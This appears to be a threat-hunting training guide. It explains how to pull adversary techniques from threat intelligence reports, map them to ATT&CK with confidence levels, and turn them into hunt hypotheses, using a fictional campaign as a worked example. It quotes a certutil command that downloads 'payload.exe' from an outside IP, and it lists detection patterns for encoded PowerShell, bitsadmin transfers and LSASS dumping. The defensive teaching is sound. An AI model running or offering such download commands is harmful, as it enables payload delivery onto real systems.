Reading CTI Reports for Hunts — TTP Extraction and ATT&CK Mapping

A 30-page CTI report contains at most 5–7 hunt-ready hypotheses. The rest is attribution, geopolitics, infrastructure lists, and context that won’t help you query your SIEM. The hunter’s job is to extract the behavioral signal and discard the rest.

The 3-Pass CTI Read

Pass 1: Scope Assessment (5 minutes, skim)

Questions to answer:

Who does this actor target? (sector, geography, organization size)
Does our organization match the targeting criteria?
When was this campaign active?
Is the campaign ongoing or historical?

Decision gate: If the actor doesn’t target organizations like ours AND the campaign ended 18+ months ago → file for reference, do not generate hypotheses. Resource constraint: every hunt hypothesis competes with others for analyst time.

Pass 2: TTP Extraction (20 minutes, detailed read)

For every described adversary action, extract:

Action described in report:                → ATT&CK technique:
"Sent phishing email with Word attachment" → T1566.001 (Spearphishing Attachment)
"Macro ran PowerShell encoded command"     → T1059.001 (PowerShell) + T1204.002
"Downloaded second stage via certutil"     → T1218.003 (Certutil)
"Installed WMI subscription for persist."  → T1546.003 (WMI Event Subscription)
"Dumped LSASS for credentials"             → T1003.001 (LSASS Memory)
"Lateral movement via PsExec"              → T1021.002 (SMB/WinRM via PsExec)
"Used Cobalt Strike default profile"       → T1071.001 (Web Protocols)

Prioritization: Not all TTPs are equally huntable. Score each:

TTP	Observable artifact	Log source available?	Hunt priority
T1566.001	Email headers, attachment hash	Email gateway, M365 UAL	High
T1059.001	Sysmon Event 1, PowerShell 4104	SIEM (if Sysmon deployed)	High
T1218.003	certutil command line	Sysmon Event 1	High
T1546.003	Sysmon Event 19/20/21, WMI query	SIEM (if WMI events collected)	Medium
T1003.001	Sysmon Event 10 (LSASS access), memory	SIEM + memory (harder)	Medium
T1021.002	WinEvt 4624 Type 3, SMB	SIEM	High

Pass 3: Hypothesis Generation (15 minutes)

For each high-priority TTP, write one hypothesis:

TTP: T1218.003 (Certutil)

Hypothesis: "An adversary targeting organizations in our sector has been observed 
             using certutil.exe with the -urlcache flag to download second-stage 
             payloads from attacker-controlled web servers. If this technique was 
             used against our environment between 2024-06-01 and 2024-09-01, we 
             would observe Sysmon Event 1 with Image=certutil.exe and CommandLine 
             containing '-urlcache' or '-f http'. The parent process would likely 
             be cmd.exe spawned by a user application (Office, browser)."

Data required: Sysmon Event 1, 90 days retention
Validation: Confirm Sysmon command line logging is enabled for all endpoints

ATT&CK Mapping with Confidence Levels

CTI reports assign implicit or explicit confidence to technique mappings. A hunter must recognize and act on confidence signals.

High-Confidence Mapping Indicators

Report text: "The malware executed the following command observed in sandbox analysis:
              certutil.exe -urlcache -f http://185.220.101.9/payload.exe C:\Temp\run.exe"

→ Confidence: HIGH — specific command observed
→ Hunt: query Sysmon Event 1 for exact parameter pattern

Low-Confidence Mapping Indicators

Report text: "The actor likely maintained persistence using a Windows mechanism,
              possibly scheduled tasks or registry run keys."

→ Confidence: LOW — inferred, multiple techniques possible
→ Hunt: generate hypotheses for BOTH T1053.005 and T1547.001, 
        require additional corroboration before escalating

Mapping Confidence → Hunt Action

CTI Signal	Confidence	Hunt Action
Specific command/artifact shown	HIGH	Hunt directly; single corroborating indicator sufficient to flag
Behavioral description matches single technique	MEDIUM	Hunt with tighter filters; require 2 corroborating signals
”Suspected”, “likely”, technique inferred	LOW	Hunt but require 3 signals; document as “low-confidence lead”
Attribution without observable TTP	NONE	Cannot hunt; request additional technical details from CTI producer

Worked Example

CTI report to hunt hypotheses: extracting 4 hunts from one campaign report

Fictional campaign report excerpt:

THREAT ACTOR: UNC3524 (suspected APT29 overlap)
TARGETING: Financial institutions, M&A advisory firms
CAMPAIGN: Active since 2024-Q2

Technical findings:
(1) Initial access via spearphishing with password-protected ZIP containing 
    LNK file (T1566.001, T1204.002). LNK executes PowerShell -enc with base64 
    payload (T1059.001). [High confidence — observed in sandbox analysis]

(2) Download of QUIETEXIT implant using BITSAdmin.exe bitsadmin /transfer 
    (T1197). [High confidence — process tree captured]

(3) Persistence via scheduled task named 'MicrosoftEdgeUpdater' running from 
    AppData path (T1053.005). [Medium confidence — task observed in triage 
    image from one host]

(4) C2 via HTTPS to subdomains of onmicrosoft.com (legitimate Microsoft cloud 
    service) using domain fronting (T1090.004, T1071.001). [Suspected — based 
    on CDN routing analysis; SNI vs Host header not directly observed]

4 Hunt Hypotheses Generated:

Hunt 1 (T1059.001 — HIGH confidence):
"LNK file executing PowerShell -enc would appear in Sysmon Event 1:
 Parent: explorer.exe or cmd.exe, Image: powershell.exe, 
 CommandLine: contains '-enc' or '-encodedcommand'
 Data: Sysmon 90 days"

Hunt 2 (T1197 — HIGH confidence):
"BITSAdmin download would appear in Sysmon Event 1:
 Image: bitsadmin.exe, CommandLine: contains '/transfer'
 Correlate with Event 3: bitsadmin.exe → external IP
 Data: Sysmon 90 days"

Hunt 3 (T1053.005 — MEDIUM confidence):
"Scheduled task named like a Microsoft product from AppData would appear in:
 - Velociraptor artifact Windows.System.TaskScheduler (fleet hunt)
 - Action binary path in Users\* or AppData\*
 Require: task action binary unsigned OR binary hash not in approved list
 Data: Live host artifact + 90-day Sysmon"

Hunt 4 (T1090.004 — LOW confidence):
"Domain fronting via onmicrosoft.com CDN: SNI=*.onmicrosoft.com but 
 HTTP Host header = attacker backend. Requires HTTP inspection/proxy logs.
 If ssl.log only available: look for SNI=*.onmicrosoft.com to IPs not in 
 Microsoft's ASN (AS8075). Require 3 corroborating signals before escalating."

Hunt 4 requires HTTP Host header — validate if proxy logs are available before running.

Retrieval Practice

A CTI report attributes campaign TTPs to 'APT29' but provides only diplomatic context and no specific technical artifacts (no commands, no malware analysis, no process trees). Can you generate a hunt hypothesis from this report? What should you do?

Reveal answer

No — you cannot generate a useful hunt hypothesis from attribution without technical TTPs. A hypothesis requires a specific observable behavior in a specific data source. 'APT29 may be targeting your sector' is not a testable hypothesis — it provides no information about what artifact to look for in which log. What to do: (1) Request technical details from the CTI producer — what specific techniques, commands, or artifacts were observed? (2) Cross-reference the actor profile in ATT&CK Groups (APT29 page) for previously-documented techniques, but note these are historical and may not reflect the current campaign. (3) Use the attribution to inform which technique families to prioritize (APT29 is known for T1528, T1036, T1059.001) but write hypotheses based on the general TTP patterns, not the specific campaign. (4) Note in the hunt journal: 'Attempted hypothesis generation from [report]. No specific technical TTPs provided. Hypotheses generated from actor profile only — lower confidence than campaign-specific hypotheses.'

Retrieval Practice

Why is an IOC-based hunt hypothesis ('Does IP 185.220.101.9 appear in our conn.log?') inadequate as a hunt, even if it produces a result?

Reveal answer

An IOC-based hunt is a lookup, not a hunt. Its inadequacies: (1) Decay rate — IP 185.220.101.9 may be rotated in 24 hours; the 'hunt' is already obsolete when infrastructure changes. (2) No pattern recognition — finding the specific IP in logs tells you that specific IP was contacted but reveals nothing about the adversary's technique or whether other IPs from the same campaign are present. (3) No detection rule derivable — a rule that fires on one specific IP will miss any other C2 infrastructure the attacker uses. (4) No behavioral insight — you learn the host connected to the IP, but not why, via what process, as part of what technique chain. Even if the lookup succeeds (IP found in logs), you don't know the campaign scope, the access method, or the persistence mechanism. An IOC lookup should feed threat intel enrichment workflows; the hunter should convert it to a TTP-based hypothesis: 'What behavior would produce C2 traffic to an external VPS? Hunt for beaconing patterns, not this specific IP.'